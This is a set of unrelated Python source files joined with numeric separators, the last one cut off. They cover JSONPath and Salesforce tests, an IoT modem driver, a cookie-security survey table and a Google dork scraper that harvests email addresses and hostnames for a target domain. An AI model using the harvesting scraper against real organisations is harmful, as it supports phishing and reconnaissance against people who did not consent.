}
|
490181
|
import string
import httplib, sys
import myparser
import re
import time
class search_google:
def __init__(self,word,limit,start,filetype):
self.word=word
self.results=""
self.totalresults=""
self.filetype=filetype
self.server="www.google.com"
self.hostname="www.google.com"
self.userAgent="(Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6"
self.quantity="100"
self.limit=limit
self.counter=start
def do_search_files(self):
h = httplib.HTTP(self.server)
h.putrequest('GET', "/search?num="+self.quantity+"&start=" + str(self.counter) + "&hl=en&meta=&q=filetype:"+self.filetype+"%20site:" + self.word)
h.putheader('Host', self.hostname)
h.putheader('User-agent', self.userAgent)
h.endheaders()
returncode, returnmsg, headers = h.getreply()
self.results = h.getfile().read()
self.totalresults+= self.results
def get_emails(self):
rawres=myparser.parser(self.totalresults,self.word)
return rawres.emails()
def get_hostnames(self):
rawres=myparser.parser(self.totalresults,self.word)
return rawres.hostnames()
def get_files(self):
rawres=myparser.parser(self.totalresults,self.word)
return rawres.fileurls()
def process_files(self):
while self.counter < self.limit:
self.do_search_files()
time.sleep(1)
self.counter+=100
print "\tSearching "+ str(self.counter) + " results..."
|
490230
|
def instance_name_check(test, resource, key, value):
if test == "ISBAD":
if resource[key].startswith(value):
return True
else:
return False
else:
return False
|
490246
|
import sys
import os
import re
import pprint
searchkey = sys.argv[1]
querygroups = sys.argv[2].split('&')
for group in querygroups:
tokens=group.split("=")
if(len(tokens) == 2 and tokens[0] == searchkey):
print(tokens[1])
|
490251
|
GOOGLEAPIS_BUILD_FILE = """
filegroup(
name = "annotations_protos",
srcs = [
"google/api/annotations.proto",
"google/api/http.proto",
],
visibility = ["//visibility:public"]
)
"""
DEPS = {
"com_github_grpc_ecosystem_grpc_gateway": {
"rule": "go_repository",
"importpath": "github.com/grpc-ecosystem/grpc-gateway",
"commit": "f2862b476edcef83412c7af8687c9cd8e4097c0f", # Jul 23, 2017
"build_file_proto_mode": "legacy",
},
"com_github_grpc_ecosystem_grpc_gateway_googleapis": {
"rule": "new_http_archive",
"url": "https://github.com/grpc-ecosystem/grpc-gateway/archive/f2862b476edcef83412c7af8687c9cd8e4097c0f.zip",
"strip_prefix": "grpc-gateway-f2862b476edcef83412c7af8687c9cd8e4097c0f/third_party/googleapis",
"sha256": "b8426c25492e76dec187099fb8e9f582173df3d445cb8913ca5ce78f423779a9",
"build_file_content": GOOGLEAPIS_BUILD_FILE,
},
"org_golang_google_genproto": {
"rule": "go_repository",
"importpath": "google.golang.org/genproto",
"commit": "<PASSWORD>", # Apr 4, 2017
},
}
|
490252
|
from collections import ChainMap
class AsyncTransactionDict(dict):
async def __aenter__(self):
self.writes = dict()
return ChainMap(self.writes, self)
async def __aexit__(self, exc_type, exc_val, tb):
if exc_type is None:
self.update(self.writes)
self.writes = None
|
490255
|
from IPython.core.display import display
from ipywidgets import Output, widgets
from pandas_profiling.report.presentation.core.sample import Sample
class WidgetSample(Sample):
def render(self) -> widgets.VBox:
out = Output()
with out:
display(self.content["sample"])
name = widgets.HTML(f"<h4>{self.content['name']}</h4>")
return widgets.VBox([name, out])
|
490271
|
list = [('abc.es','HTTP/1.1 200',0,0,0,0,0),
('abcnews.go.com','HTTP/1.1 200',2,0,0,0,'/'),
('about.me','HTTP/1.1 200',5,1,1,'Lax','/'),
('abril.com.br','HTTP/1.1 301',1,1,1,0,'/'),
('alibaba.com','HTTP/1.1 200',1,0,0,0,'/'),
('ap.org','HTTP/1.1 200',0,0,0,0,0),
('biblegateway.com','HTTP/1.1 200',0,0,0,0,0),
('booking.com','HTTP/1.1 200',3,1,1,'None','/'),
('bp1.blogger.com','HTTP/1.1 400',0,0,0,0,0),
('bp2.blogger.com','HTTP/1.1 400',0,0,0,0,0),
('brandbucket.com','HTTP/1.1 200',2,0,0,0,'/'),
('businessinsider.com','HTTP/1.1 200',1,1,0,'Lax','/'),
('cbc.ca','HTTP/1.1 200',2,0,1,'None','/'),
('cloudflare.com','HTTP/1.1 200',3,2,2,'Lax(2)None(1)','/'),
('code.google.com','HTTP/1.1 200',0,0,0,0,0),
('com.com','HTTP/1.1 200',2,1,0,0,'/'),
('detik.com','HTTP/1.1 200',0,0,0,0,0),
('digg.com','HTTP/1.1 200',3,3,1,'Lax','/'),
('docs.google.com','HTTP/1.1 200',3,3,1,0,'/'),
('e-recht24.de','HTTP/1.1 200',0,0,0,0,0),
('ea.com','HTTP/1.1 200',3,0,3,0,'/'),
('elmundo.es','HTTP/1.1 200',0,0,0,0,0),
('en.wikipedia.org','HTTP/1.1 200',8,5,8,0,'/'),
('fb.com','HTTP/1.1 200',2,2,2,0,'/'),
('feedburner.google.com','HTTP/1.1 200',2,2,1,0,'/'),
('forbes.com','HTTP/1.1 200',0,0,0,0,0),
('geocities.com','HTTP/1.1 200',2,2,0,0,'/'),
('gizmodo.com','HTTP/1.1 200',3,0,2,'None(2)','/'),
('godaddy.com','HTTP/1.1 200',7,0,1,0,'/'),
('icann.org','HTTP/1.1 301',0,0,0,0,0),
('ieee.org','HTTP/1.1 200',3,0,1,'None','/'),
('ikea.com','HTTP/1.1 200',4,2,1,0,'/'),
('imageshack.us','HTTP/1.1 204',0,0,0,0,0),
('istockphoto.com','HTTP/1.1 301',0,0,0,0,0),
('it.wikipedia.org','HTTP/1.1 200',8,5,8,0,'/'),
('iubenda.com','HTTP/1.1 200',4,2,2,0,'/'),
('jimdofree.com','HTTP/1.1 200',0,0,0,0,0),
('jstor.org','HTTP/1.1 200',6,0,6,'Lax(5)None(1)','/'),
('latimes.com','HTTP/1.1 301',0,0,0,0,0),
('lifehacker.com','HTTP/1.1 200',4,0,2,'None(2)','/'),
('liveinternet.ru','HTTP/1.1 200',0,0,0,0,0),
('m.wikipedia.org','HTTP/1.1 200',8,6,8,0,'/'),
('microsoft.com','HTTP/1.1 200',0,0,0,0,0),
('mixcloud.com','HTTP/1.1 301',0,0,0,0,0),
('msn.com','HTTP/1.1 200',7,6,3,'None','/'),
('myspace.com','HTTP/1.1 200',4,2,0,0,'/'),
('mysql.com','HTTP/1.1 200',4,2,0,0,'/'),
('mystrikingly.com','HTTP/1.1 200',1,0,0,0,'/'),
('nature.com','HTTP/1.1 200',3,3,1,0,'/'),
('netvibes.com','HTTP/1.1 200',1,0,1,'None','/'),
('nginx.com','HTTP/1.1 200',2,1,0,'Lax','/'),
('nhk.or.jp','HTTP/1.1 200',0,0,0,0,0),
('nih.gov','HTTP/1.1 200',0,0,0,0,0),
('ok.ru','HTTP/1.1 200',2,2,2,0,'/'),
('orange.fr','HTTP/1.1 200',2,2,1,'None','/'),
('oreilly.com','HTTP/1.1 200',2,2,1,'None','/'),
('ox.au.uk','HTTP/1.1 200',1,0,0,0,0),
('photobucket.com','HTTP/1.1 200',0,0,0,0,0),
('pinterest.com','HTTP/1.1 200',4,3,3,'None','/'),
('plos.org','HTTP/1.1 200',0,0,0,0,0),
('prezi.com','HTTP/1.1 406',0,0,0,0,0),
('princeton.edu','HTTP/1.1 200',1,1,0,'Lax','/'),
('pt.wikipedia.org','HTTP/1.1 200',8,6,8,0,'/'),
('qz.com','HTTP/1.1 200',0,0,0,0,0),
('rapidshare.com','HTTP/1.1 200',0,0,0,0,0),
('researchgate.net','HTTP/1.1 200',4,4,4,'Lax','/'),
('reuters.com','HTTP/1.1 200',1,1,0,0,'/'),
('ria.ru','HTTP/1.1 200',0,0,0,0,0),
('samsung.com','HTTP/1.1 200',7,0,1,'None','/'),
('scoop.it','HTTP/1.1 200',2,0,1,'None','/'),
('secureserver.net','HTTP/1.1 404',2,0,2,'None(2)','/'),
('shutterstock.com','HTTP/1.1 406',0,0,0,0,0),
('sites.google.com','HTTP/1.1 200',1,1,1,0,'/'),
('smh.com.au','HTTP/1.1 200',0,0,0,0,0),
('snapchat.com','HTTP/1.1 405',0,0,0,0,0),
('so-net.ne.jp','HTTP/1.1 200',0,0,0,0,0),
('steampowered.com','HTTP/1.1 200',3,0,3,'None(3)','/'),
('storage.googleapis.com','HTTP/1.1 400',0,0,0,0,0),
('terra.com.br','HTTP/1.1 200',2,0,2,0,'/'),
('tools.google.com','HTTP/1.1 200',0,0,0,0,0),
('tripadvisor.com','HTTP/1.1 200',0,0,0,0,0),
('twitter.com','HTTP/1.1 200',4,0,4,'None(4)','/'),
('urbandictionary.com','HTTP/1.1 200',0,0,0,0,0),
('usatoday.com','HTTP/1.1 200',4,0,4,'Lax(4)','/'),
('usgs.gov','HTTP/1.1 200',4,0,1,'None(2)','/'),
('usnews.com','-timed out-','-','-','-','-','-'),
('utexas.edu','HTTP/1.1 200',0,0,0,0,0),
('viglink.com','HTTP/1.1 200',0,0,0,0,0),
('vk.com','HTTP/1.1 418',0,0,0,0,0),
('w3.org','HTTP/1.1 200',0,0,0,0,0),
('wikia.com','HTTP/1.1 200',3,0,3,'None(3)','/'),
('wn.com','HTTP/1.1 200',2,0,0,0,'/'),
('wp.com','HTTP/1.1 200',0,0,0,0,0),
('www.blogger.com','HTTP/1.1 200',3,3,3,0,'/'),
('www.canalblog.com','HTTP/1.1 200',1,1,0,0,'/'),
('www.over-blog.com','HTTP/1.1 200',0,0,0,0,0),
('xing.com','HTTP/1.1 200',4,2,4,'Lax(3)','/'),
('yandex.ru','HTTP/1.1 200',10,1,2,0,'/'),
('ytimg.com','HTTP/1.1 200',0,0,0,0,0)]
print('| Site | TerminatingStatus | Cookies | HTTPOnly | Secure | SameSite | Path |')
print('|','-'*23,'|','-'*17,'|','-'*7,'|','-'*8,'|','-'*6,'|','-'*14,'|','-'*4,'|')
for item in list:
print("|",item[0]," "*(22-len(item[0])),"|",
item[1],' '*(16-len(item[1])),'|',
item[2],' '*(6-len(str(item[2]))),'|',
item[3],' '*(7-len(str(item[3]))),'|',
item[4],' '*(5-len(str(item[4]))),'|',
item[5],' '*(13-len(str(item[5]))),'|',
item[6],' '*(3-len(str(item[6]))),'|')
|
490315
|
from anime_downloader.sites import helpers
from anime_downloader.sites.anime import Anime, AnimeEpisode, SearchResult
import logging
logger = logging.getLogger(__name__)
class KissAnimeX(Anime, sitename='kissanimex'):
sitename = "kissanimex"
@classmethod
def search(cls, query):
url = 'https://kissanimex.com/search?url=search'
soup = helpers.soupify(helpers.get(url, params={'q': query}))
items = soup.select('td > a')
search_results = [
SearchResult(
title=x.text,
url='https://kissanimex.com' + x['href']
)
for x in items
]
return search_results
def _scrape_episodes(self):
r = helpers.get(self.url).text
soup = helpers.soupify(r)
# Allows fallback from both dub -> sub and sub -> dub
# This makes it possible to download pokemon (for example) without having to change config.
subbed = self.config['version'] != 'dubbed'
subbed_converter = {
True: 'div#episodes-sub',
False: 'div#episodes-dub',
}
eps = soup.select_one(subbed_converter.get(subbed)).select('td > a')
if not eps:
logger.info('No episodes in selected language, falling back.')
eps = soup.select_one(subbed_converter.get(not subbed)).select('td > a')
if not eps:
logger.info('No episodes found.')
return []
episodes = ['https://kissanimex.com' + x.get('href') for x in eps][::-1]
return episodes
def _scrape_metadata(self):
self.title = helpers.soupify(helpers.get(self.url).text).select_one('a.bigChar').text
class KissAnimeXEpisode(AnimeEpisode, sitename='kissanimex'):
def _get_sources(self):
r = helpers.get(self.url).text
sources = helpers.soupify(r).select('div.host#menu > a')
sources = [x['data-video-link'] for x in sources]
map_extractors = {
'vidstream': 'vidstream'
}
for source in sources:
for extractor in map_extractors:
if extractor in source:
return [(extractor, source)]
return ''
|
490326
|
class PushException(Exception):
pass
class PushAuthException(PushException):
pass
class PushInvalidTokenException(PushException):
pass
class PushInvalidDataException(PushException):
pass
class PushServerException(PushException):
pass
|
490388
|
from itertools import chain
import fbuild.builders
import fbuild.db
import fbuild.path
# ------------------------------------------------------------------------------
class SDLConfig(fbuild.db.PersistentObject):
def __init__(self, ctx, exe=None, *,
requires_version=None,
requires_at_least_version=None,
requires_at_most_version=None):
super().__init__(ctx)
self.exe = fbuild.builders.find_program(ctx, [exe or 'sdl-config'])
# Make sure we've got a valid version.
fbuild.builders.check_version(ctx, self, self.version,
requires_version=requires_version,
requires_at_least_version=requires_at_least_version,
requires_at_most_version=requires_at_most_version)
def __call__(self, cmd, *args, **kwargs):
stdout, stderr = self.ctx.execute(list(chain((self.exe,), cmd)),
quieter=1)
return stdout.decode().strip()
def version(self, *args, **kwargs):
return self(('--version',), *args, **kwargs)
def prefix(self, *args, **kwargs):
return fbuild.path.Path(self(('--prefix',), *args, **kwargs))
def exec_prefix(self, *args, **kwargs):
return fbuild.path.Path(self(('--exec-prefix',), *args, **kwargs))
def cflags(self, *args, **kwargs):
return self(('--cflags',), *args, **kwargs)
def libs(self, *args, **kwargs):
return self(('--libs',), *args, **kwargs)
def static_libs(self, *args, **kwargs):
return self(('--static-libs',), *args, **kwargs)
def __str__(self):
return self.exe.name
|
490443
|
import pytest
from jsonpath_ng.ext.filter import Filter, Expression
from jsonpath_ng.ext import parse
from jsonpath_ng.jsonpath import *
@pytest.mark.parametrize('string, parsed', [
# The authors of all books in the store
("$.store.book[*].author",
Child(Child(Child(Child(Root(), Fields('store')), Fields('book')),
Slice()), Fields('author'))),
# All authors
("$..author", Descendants(Root(), Fields('author'))),
# All things in the store
("$.store.*", Child(Child(Root(), Fields('store')), Fields('*'))),
# The price of everything in the store
("$.store..price",
Descendants(Child(Root(), Fields('store')), Fields('price'))),
# The third book
("$..book[2]",
Child(Descendants(Root(), Fields('book')),Index(2))),
# The last book in order
# ("$..book[(@.length-1)]", # Not implemented
# Child(Descendants(Root(), Fields('book')), Slice(start=-1))),
("$..book[-1:]",
Child(Descendants(Root(), Fields('book')), Slice(start=-1))),
# The first two books
# ("$..book[0,1]", # Not implemented
# Child(Descendants(Root(), Fields('book')), Slice(end=2))),
("$..book[:2]",
Child(Descendants(Root(), Fields('book')), Slice(end=2))),
# Filter all books with ISBN number
("$..book[?(@.isbn)]",
Child(Descendants(Root(), Fields('book')),
Filter([Expression(Child(This(), Fields('isbn')), None, None)]))),
# Filter all books cheaper than 10
("$..book[?(@.price<10)]",
Child(Descendants(Root(), Fields('book')),
Filter([Expression(Child(This(), Fields('price')), '<', 10)]))),
# All members of JSON structure
("$..*", Descendants(Root(), Fields('*'))),
])
def test_goessner_examples(string, parsed):
"""
Test Stefan Goessner's `examples`_
.. _examples: https://goessner.net/articles/JsonPath/index.html#e3
"""
assert parse(string, debug=True) == parsed
@pytest.mark.parametrize('string, parsed', [
# Navigate objects
("$.store.book[0].title",
Child(Child(Child(Child(Root(), Fields('store')), Fields('book')),
Index(0)), Fields('title'))),
# Navigate dictionaries
("$['store']['book'][0]['title']",
Child(Child(Child(Child(Root(), Fields('store')), Fields('book')),
Index(0)), Fields('title'))),
])
def test_obj_v_dict(string, parsed):
assert parse(string, debug=True) == parsed
|
490475
|
from machine import UART
import utime
from machine import Pin
class M5310_A():
def send_cmd(self,cmd):
self.uart.write(cmd + '\r\n')
def cheak_ack(self,buf, ack):
if ack in buf:
return True
else:
return False
def __init__(self):
self.rst = Pin(18, Pin.OUT)
self.uart = UART(2)
self.uart.init(9600, bits=8, parity=None, stop=1)
self.RecvMax = 128
self.RecvBuf = bytearray()
self.cmd = ['AT', 'AT+CIMI', 'AT+COPS=1,2,\"46000\"', 'AT+CSQ', 'AT+CEREG?', 'AT+CGATT?',
'AT+NSOCR="DGRAM",17,0,1', 'AT+NSOCFG=0', 'AT+NSOCFG=0,0,0']
self.cmd_len = len(self.cmd)
self.cmd_index = 0
self.set_up()
def set_up(self):
self.rst.value(1)
utime.sleep_ms(200)
self.rst.value(0)
self.send_cmd(self.cmd[self.cmd_index])
send_time = utime.ticks_ms()
while True:
recvlen = self.uart.any()
if recvlen > 0:
buffer = self.uart.read(recvlen)
for data in buffer:
self.RecvBuf.append(data)
if self.cmd[self.cmd_index] == 'AT' or self.cmd[self.cmd_index] == 'AT+CIMI' \
or self.cmd[self.cmd_index] == 'AT+COPS=1,2,\"46000\"' or self.cmd[self.cmd_index] ==\
'AT+NSOCFG=0' or self.cmd[self.cmd_index] == 'AT+NSOCFG=0,0,0':
if self.cheak_ack(self.RecvBuf, b'\r\nOK\r\n'):
print('CHEAK_OK')
print(self.RecvBuf)
self.RecvBuf = bytearray()
self.cmd_index += 1
if self.cmd_index >= self.cmd_len:
break
else:
self.send_cmd(self.cmd[self.cmd_index])
send_time = utime.ticks_ms()
elif self.cmd[self.cmd_index] == 'AT+CSQ':
if self.cheak_ack(self.RecvBuf, b'\r\n+CSQ:'):
print('CHEAK_OK')
print(self.RecvBuf)
strbuf = bytes(self.RecvBuf)
print(strbuf)
num = strbuf.find(b':')
csq = int(strbuf[num + 1:num + 3])
if csq > 12 and csq < 99:
self.RecvBuf = bytearray()
self.cmd_index += 1
if self.cmd_index >= self.cmd_len:
break
else:
self.send_cmd(self.cmd[self.cmd_index])
send_time = utime.ticks_ms()
elif self.cmd[self.cmd_index] == 'AT+CGATT?':
if self.cheak_ack(self.RecvBuf, b'+CGATT:1'):
print('CHEAK_OK')
print(self.RecvBuf)
self.RecvBuf = bytearray()
self.cmd_index += 1
if self.cmd_index >= self.cmd_len:
break
else:
self.send_cmd(self.cmd[self.cmd_index])
send_time = utime.ticks_ms()
elif self.cmd[self.cmd_index] == 'AT+CEREG?':
if self.cheak_ack(self.RecvBuf, b'+CEREG:0'):
print('CHEAK_OK')
print(self.RecvBuf)
strbuf = bytes(self.RecvBuf)
print(strbuf)
num = strbuf.find(b'G:')
reg = int(strbuf[num + 4:num + 5])
if reg == 1 or reg == 5:
self.RecvBuf = bytearray()
self.cmd_index += 1
if self.cmd_index >= self.cmd_len:
break
else:
self.send_cmd(self.cmd[self.cmd_index])
send_time = utime.ticks_ms()
elif self.cmd[self.cmd_index] == 'AT+NSOCR="DGRAM",17,0,1':
if self.cheak_ack(self.RecvBuf, b'\r\nOK\r\n'):
print('CHEAK_OK')
print(self.RecvBuf)
strbuf = bytes(self.RecvBuf)
print(strbuf)
num = strbuf.find(b'\r\nOK\r\n')
reg = int(strbuf[num - 3]) - 48
print(reg)
if reg >= 0 and reg <= 6:
self.RecvBuf = bytearray()
self.cmd_index += 1
if self.cmd_index >= self.cmd_len:
break
else:
self.send_cmd(self.cmd[self.cmd_index])
send_time = utime.ticks_ms()
if (len(self.RecvBuf) > self.RecvMax):
self.RecvBuf = bytearray()
print('OUT LINE')
self.send_cmd(self.cmd[self.cmd_index])
print('resend:', self.cmd[self.cmd_index])
send_time = utime.ticks_ms()
now_time = utime.ticks_ms()
if send_time + 500 < now_time:
self.RecvBuf = bytearray()
self.send_cmd(self.cmd[self.cmd_index])
print('resend:', self.cmd[self.cmd_index])
send_time = utime.ticks_ms()
def send_data(self,data):
data='AT+NSOST=0,zwidas.top,8888,,\"%s\"'%data
self.send_cmd(data)
def unit_test():
ts=M5310_A()
ts.send_data('hello')
while True:
recvlen = ts.uart.any()
if recvlen > 0:
buffer = ts.uart.read(recvlen)
for data in buffer:
ts.RecvBuf.append(data)
print(ts.RecvBuf)
if ts.cheak_ack(ts.RecvBuf, b'+NSONMI'):
ts.RecvBuf=bytearray()
ts.send_cmd('AT+NSORF=0,100')
if __name__=='__main__':
unit_test()
|
490551
|
import warnings
from django.contrib.auth import authenticate
from . import TestCase
from .factories import UserFactory
class BackendTest(TestCase):
def test_case_insensitive_username(self):
user = UserFactory.create(username='TeSt')
with warnings.catch_warnings(record=True) as w:
self.assertEqual(authenticate(username='TeSt', password='<PASSWORD>').pk,
user.pk)
self.assertEqual(authenticate(username='test', password='<PASSWORD>').pk,
user.pk)
self.assertEqual(authenticate(username=user.email.lower(),
password='<PASSWORD>').pk, user.pk)
self.assertEqual(authenticate(username=user.email.upper(),
password='<PASSWORD>').pk, user.pk)
self.assertEqual(len(w), 4)
|
490552
|
from tests.integration import int_test
example = """
from typing import Generator
x: Generator[str, str, None, None]
"""
expected = """
from collections.abc import Generator
x: Generator[str, str, None, None]
"""
def test_generator():
int_test(example, expected, futures=True)
|
490583
|
import base64
import json
import os
import pathlib
import shutil
from unittest import mock
import pytest # noqa: F401
from simple_salesforce.exceptions import SalesforceMalformedRequest
from cumulusci.core.exceptions import CumulusCIException # noqa: F401
from cumulusci.tasks.salesforce.tests.util import create_task
from cumulusci.tasks.salesforce.users.photos import UploadProfilePhoto, join_errors
from cumulusci.utils import temporary_dir
def test_join_errors():
e = SalesforceMalformedRequest(
"url",
"status",
"resource_name",
[
{"message": "Error message 1.", "errorCode": "ERROR_1"},
{"message": "Error message 2.", "errorCode": "ERROR_2"},
{"message": "Error message 3.", "errorCode": "ERROR_3"},
],
)
assert join_errors(e) == "Error message 1.; Error message 2.; Error message 3."
class TestUploadProfilePhoto:
def setup_method(self):
# Photo information
self.photo = "photo.mock.txt"
self.base_path = os.path.dirname(__file__)
self.photo_path = pathlib.Path(
os.path.join(self.base_path, self.photo)
).resolve()
assert self.photo_path.exists(), "photo mock cannot be found"
assert self.photo_path.is_file(), "photo_path should point to a file"
# Resusable data
self.content_version_id = "0681k000001YWQ5AAO"
self.content_document_id = "0691k000001LtfEAAS"
self.e = SalesforceMalformedRequest(
"url",
"status",
"resource_name",
[
{"message": "Error message 1.", "errorCode": "ERROR_1"},
{"message": "Error message 2.", "errorCode": "ERROR_2"},
{"message": "Error message 3.", "errorCode": "ERROR_3"},
],
)
self.expected_exception_message = (
"Error message 1.; Error message 2.; Error message 3."
)
self.user_id = "0051k000003cEL3AAM"
# Task with mocks
self.task = create_task(UploadProfilePhoto, {"photo": self.photo})
self.task.logger = mock.Mock()
self.task.sf = mock.Mock()
def test_raise_cumulusci_exception(self):
with pytest.raises(CumulusCIException) as e:
self.task._raise_cumulusci_exception(self.e)
assert e.value.args[0] == self.expected_exception_message
def test_get_user_id_by_query__valid_query__0_records(self):
# where is prefixed with "where " which will be stripped when injected into the query.
where = "where (FirstName = 'User' OR LastName = 'User') AND IsActive = true AND CreatedDate = TODAY"
expected_query = "SELECT Id FROM User WHERE (FirstName = 'User' OR LastName = 'User') AND IsActive = true AND CreatedDate = TODAY LIMIT 2"
self.task.sf.query_all.return_value = {"records": []}
self.task.logger.info._expected_calls = [
mock.call(f"Querying User: {expected_query}")
]
# Execute the test
with pytest.raises(CumulusCIException) as e:
self.task._get_user_id_by_query(where)
assert e.value.args[0] == "No Users found."
self.task.sf.query_all.assert_called_once_with(expected_query)
self.task.logger.info.assert_has_calls(self.task.logger.info._expected_calls)
def test_get_user_id_by_query__valid_query__1_record(self):
# where is prefixed with "where " which will be stripped when injected into the query.
where = "where (FirstName = 'User' OR LastName = 'User') AND IsActive = true AND CreatedDate = TODAY"
expected_query = "SELECT Id FROM User WHERE (FirstName = 'User' OR LastName = 'User') AND IsActive = true AND CreatedDate = TODAY LIMIT 2"
expected = self.user_id
self.task.sf.query_all.return_value = {"records": [{"Id": expected}]}
self.task.logger.info._expected_calls = [
mock.call(f"Querying User: {expected_query}"),
mock.call(f"Uploading profile photo for the User with ID {expected}"),
]
# Execute the test
actual = self.task._get_user_id_by_query(where)
assert expected == actual
self.task.sf.query_all.assert_called_once_with(expected_query)
self.task.logger.info.assert_has_calls(self.task.logger.info._expected_calls)
def test_get_user_id_by_query__valid_query__2_records(self):
# where is prefixed with "where " which will be stripped when injected into the query.
where = "where (FirstName = 'User' OR LastName = 'User') AND IsActive = true AND CreatedDate = TODAY"
expected_query = "SELECT Id FROM User WHERE (FirstName = 'User' OR LastName = 'User') AND IsActive = true AND CreatedDate = TODAY LIMIT 2"
id_0 = self.user_id
id_1 = "0051k000003cEL8AAM"
self.task.sf.query_all.return_value = {"records": [{"Id": id_0}, {"Id": id_1}]}
self.task.logger.info._expected_calls = [
mock.call(f"Querying User: {expected_query}")
]
# Execute the test
with pytest.raises(CumulusCIException) as e:
self.task._get_user_id_by_query(where)
assert (
e.value.args[0] == f"More than one User found (at least 2): {id_0}, {id_1}"
)
self.task.sf.query_all.assert_called_once_with(expected_query)
self.task.logger.info.assert_has_calls(self.task.logger.info._expected_calls)
def test_get_user_id_by_query__invalid_query(self):
where = "(FirstName = 'User' OR LastName = 'User') AND IsActive = true AND CreatedDate = TODAY but the end of this query is invalid SOQL "
expected_query = "SELECT Id FROM User WHERE (FirstName = 'User' OR LastName = 'User') AND IsActive = true AND CreatedDate = TODAY but the end of this query is invalid SOQL LIMIT 2"
self.task.sf.query_all.side_effect = self.e
self.task.logger.info._expected_calls = [
mock.call(f"Querying User: {expected_query}")
]
# Execute the test
with pytest.raises(CumulusCIException) as e:
self.task._get_user_id_by_query(where)
assert e.value.args[0] == self.expected_exception_message
self.task.sf.query_all.assert_called_once_with(expected_query)
self.task.logger.info.assert_has_calls(self.task.logger.info._expected_calls)
def test_get_default_user_id(self):
expected = self.user_id
self.task.sf.restful.return_value = {
"identity": f"a bunch of other things{expected}"
}
actual = self.task._get_default_user_id()
assert expected == actual
self.task.logger.info.assert_called_once_with(
f"Uploading profile photo for the default User with ID {expected}"
)
def test_insert_content_document__no_photo_found(self):
with temporary_dir():
with pytest.raises(CumulusCIException) as e:
self.task._insert_content_document(self.photo)
assert e.value.args[0] == f"No photo found at {self.photo}"
def test_insert_content_document__exception_creating_content_document(self):
errors = "the reason why inserting the ContentVersion failed"
self.task.sf.ContentVersion.create.return_value = {
"success": False,
"errors": errors,
}
with temporary_dir() as d:
# Copy photo to temporary direcory.
shutil.copy(str(self.photo_path), d)
temp_photo_path = pathlib.Path(os.path.join(d, self.photo)).resolve()
assert (
temp_photo_path.exists()
), "photo mock was not copied to the temporary directory"
assert (
temp_photo_path.is_file()
), "Path the the photo mock in the temporary directory should point to a file"
self.task.sf.ContentVersion.create._expected_calls = [
mock.call(
{
"PathOnClient": temp_photo_path.name,
"Title": temp_photo_path.stem,
"VersionData": base64.b64encode(
temp_photo_path.read_bytes()
).decode("utf-8"),
}
)
]
with pytest.raises(CumulusCIException) as e:
self.task._insert_content_document(self.photo)
assert e.value.args[0] == f"Failed to create photo ContentVersion: {errors}"
self.task.sf.ContentVersion.create.assert_has_calls(
self.task.sf.ContentVersion.create._expected_calls
)
self.task.logger.info.assert_called_once_with(
f"Setting user photo to {self.photo}"
)
def test_insert_content_document__success(self):
self.task.sf.ContentVersion.create.return_value = {
"success": True,
"id": self.content_version_id,
}
self.task.sf.query.return_value = {
"records": [
{
"Id": self.content_version_id,
"ContentDocumentId": self.content_document_id,
}
]
}
self.task.logger.info._expected_calls = [
mock.call(f"Setting user photo to {self.photo}"),
mock.call(
f"Uploaded profile photo ContentDocument {self.content_document_id}"
),
]
expected = self.content_document_id
with temporary_dir() as d:
# Copy photo to temporary direcory.
shutil.copy(str(self.photo_path), d)
temp_photo_path = pathlib.Path(os.path.join(d, self.photo)).resolve()
assert (
temp_photo_path.exists()
), "photo mock was not copied to the temporary directory"
assert (
temp_photo_path.is_file()
), "Path the the photo mock in the temporary directory should point to a file"
self.task.sf.ContentVersion.create._expected_calls = [
mock.call(
{
"PathOnClient": temp_photo_path.name,
"Title": temp_photo_path.stem,
"VersionData": base64.b64encode(
temp_photo_path.read_bytes()
).decode("utf-8"),
}
)
]
actual = self.task._insert_content_document(self.photo)
assert expected == actual
self.task.sf.ContentVersion.create.assert_has_calls(
self.task.sf.ContentVersion.create._expected_calls
)
self.task.sf.query.assert_called_once_with(
f"SELECT Id, ContentDocumentId FROM ContentVersion WHERE Id = '{self.content_version_id}'"
)
self.task.logger.info.assert_has_calls(self.task.logger.info._expected_calls)
def test_delete_content_document(self):
self.task._delete_content_document(self.content_document_id)
self.task.sf.ContentDocument.delete.assert_called_once_with(
self.content_document_id
)
def test_assign_user_profile_photo__exception(self):
self.task.sf.restful.side_effect = self.e
self.task.logger.error._expected_calls = [
mock.call(
"An error occured assigning the ContentDocument as the users's profile photo."
),
mock.call(f"Deleting ContentDocument {self.content_document_id}"),
]
self.task._delete_content_document = mock.Mock()
with pytest.raises(CumulusCIException) as e:
self.task._assign_user_profile_photo(self.user_id, self.content_document_id)
assert e.value.args[0] == self.expected_exception_message
self.task._delete_content_document.assert_called_once_with(
self.content_document_id
)
self.task.logger.error.assert_has_calls(self.task.logger.error._expected_calls)
def test_assign_user_profile_photo__success(self):
self.task._delete_content_document = mock.Mock()
self.task._assign_user_profile_photo(self.user_id, self.content_document_id)
self.task.sf.restful.assert_called_once_with(
f"connect/user-profiles/{self.user_id}/photo",
data=json.dumps({"fileId": self.content_document_id}),
method="POST",
)
self.task._delete_content_document.assert_not_called()
self.task.logger.error.assert_not_called()
def test_run_task__default_user(self):
assert bool(self.task.options.get("where")) is False
self.task._get_default_user_id = mock.Mock()
self.task._get_user_id_by_query = mock.Mock()
self.task._insert_content_document = mock.Mock()
self.task._assign_user_profile_photo = mock.Mock()
self.task._run_task()
self.task._get_default_user_id.assert_called_once_with()
self.task._get_user_id_by_query.assert_not_called()
self.task._insert_content_document.assert_called_once_with(
self.task.options["photo"]
)
self.task._assign_user_profile_photo.assert_called_once_with(
self.task._get_default_user_id.return_value,
self.task._insert_content_document.return_value,
)
def test_run_task__queries_user(self):
self.task.options["where"] = mock.Mock()
assert bool(self.task.options.get("where")) is True
self.task._get_default_user_id = mock.Mock()
self.task._get_user_id_by_query = mock.Mock()
self.task._insert_content_document = mock.Mock()
self.task._assign_user_profile_photo = mock.Mock()
self.task._run_task()
self.task._get_default_user_id.assert_not_called()
self.task._get_user_id_by_query.assert_called_once_with(
self.task.options["where"]
)
self.task._insert_content_document.assert_called_once_with(
self.task.options["photo"]
)
self.task._assign_user_profile_photo.assert_called_once_with(
self.task._get_user_id_by_query.return_value,
self.task._insert_content_document.return_value,
)
|
490607
|
from flask import Flask, jsonify, request, url_for
from flask_admin import Admin
#from flask_admin.contrib.peewee import ModelView
from flask_admin import helpers as admin_helpers
from flask_admin.menu import MenuLink
from flask_security import Security, PeeweeUserDatastore, \
